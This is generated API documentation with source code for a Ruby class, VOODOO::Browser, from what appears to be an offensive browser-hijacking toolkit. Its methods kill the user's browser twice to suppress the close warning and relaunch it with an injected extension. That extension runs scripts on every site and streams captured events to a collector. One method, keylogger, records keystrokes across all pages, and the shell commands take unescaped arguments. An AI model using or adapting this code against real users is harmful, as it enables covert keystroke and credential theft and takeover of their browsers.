Class: VOODOO::Browser

Inherits:
Object
  • Object
show all
Defined in:
lib/voodoo/browser.rb

Instance Attribute Summary collapse

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(bundle: nil, process_name: nil, extension: Extension.new) ⇒ Browser

Returns a new instance of Browser.



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# File 'lib/voodoo/browser.rb', line 11

def initialize(bundle: nil, process_name: nil, extension: Extension.new)
    @bundle = bundle
    @extension = extension
    @process_name = process_name
    @collector_threads = []

    @extension.manifest[:permissions] = ['tabs', 'storage']
    matches = '*://*/*'
end

Instance Attribute Details

#bundle ⇒ Object

Returns the value of attribute bundle.



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# File 'lib/voodoo/browser.rb', line 8

def bundle
  @bundle
end

#extension ⇒ Object (readonly)

Returns the value of attribute extension.



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# File 'lib/voodoo/browser.rb', line 7

def extension
  @extension
end

#process_name ⇒ Object

Returns the value of attribute process_name.



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# File 'lib/voodoo/browser.rb', line 9

def process_name
  @process_name
end

Class Method Details

.Brave ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 71

def Browser.Brave
    self.new(bundle: 'com.brave.Browser', process_name: 'Brave Browser')
end

.Chrome ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 67

def Browser.Chrome
    self.new(bundle: 'com.google.Chrome', process_name: 'Google Chrome')
end

.Chromium ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 83

def Browser.Chromium
    self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
end

.Edge ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 79

def Browser.Edge
    self.new(bundle: 'com.microsoft.edgemac', process_name: 'Microsoft Edge')
end

.Opera ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 75

def Browser.Opera
    self.new(bundle: 'com.operasoftware.Opera', process_name: 'Opera')
end

Instance Method Details

#add_host_permissions(hosts) ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 35

def add_host_permissions(hosts)
    hosts = [hosts] unless hosts.is_a? Array
    @extension.manifest[:host_permissions] += hosts
end

#add_permissions(permissions) ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 30

def add_permissions(permissions)
    permissions = [permissions] unless permissions.is_a? Array
    @extension.manifest[:permissions] += permissions
end

#add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true) ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 87

def add_script(content: nil, file: nil, matches: nil, options: {}, background: false, max_events: nil, communication: true)
    if matches != nil && background != false
        puts 'WARNING: matches is ignored when background is set to true.'
    end

    if content == nil && file != nil
        content = File.read file
    end

    if content == nil
        raise StandardError.new(':content or :file argument are required')
    end

    event_count = 0

    if block_given? && communication == true
        collector = Collector.new(close_browser: method(:close_browser))
        collector.on_json {|jsond|
            yield jsond
            if (max_events != nil)
                event_count += 1
                if event_count >= max_events.to_i
                    collector.thread.kill
                end
            end
        }
        @collector_threads.push(collector.thread)
        options[:collector_url] = collector.url
    end

    options.keys.each do |key|
        options[(key.to_sym rescue key) || key] = options.delete(key)
    end

    voodoo_js = File.read(File.join(__dir__, 'js/voodoo.js'))
    content = voodoo_js + "\n" + content

    # find variables
    variables = content.scan(/%{[a-z_0-9]+}/i)
    
    for var in variables
        # remove %{}
        var_sym = var[2...(var.length)-1].to_sym
        if !options[var_sym]
            # when option is missing set it to nil
            options[var_sym] = nil
        else
            if !options[var_sym].kind_of? String
                content = content.gsub("\"#{var}\"", var)
                options[var_sym] = JSON.generate(options[var_sym])
            end
        end
    end

    content = content % options
    
    if background == true
        return @extension.add_service_worker(content: content)
    else
        if matches == nil
            matches = '*://*/*'
        end
        return @extension.add_content_script(matches, js: [content])
    end
end

#close_browser ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 40

def close_browser
    # kill the browser process twise, to bypass close warning
    `pkill -a -i "#{@process_name}"`
    `pkill -a -i "#{@process_name}"`
    sleep 0.2
end

#hijack(urls = [], flags: '') ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 47

def hijack(urls = [], flags: '')
    close_browser()

    urls = [urls] unless urls.kind_of? Array
    urls = urls.uniq
    
    `open -b "#{@bundle}" --args #{flags} --load-extension="#{@extension.save}" #{urls.shift}`

    if urls.length > 0
        sleep 0.5
        for url in urls
            `open -b "#{@bundle}" -n -g -j --args #{url}`
        end
    end

    for thread in @collector_threads
        thread.join    
    end
end

#keylogger(matches: '*://*/*', max_events: nil) ⇒ Object 



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# File 'lib/voodoo/browser.rb', line 21

def keylogger(matches: '*://*/*', max_events: nil)
    add_script(matches: matches,
        file: File.join(__dir__, 'js/keylogger.js'),
        max_events: max_events
    ) do |event|
        yield event
    end
end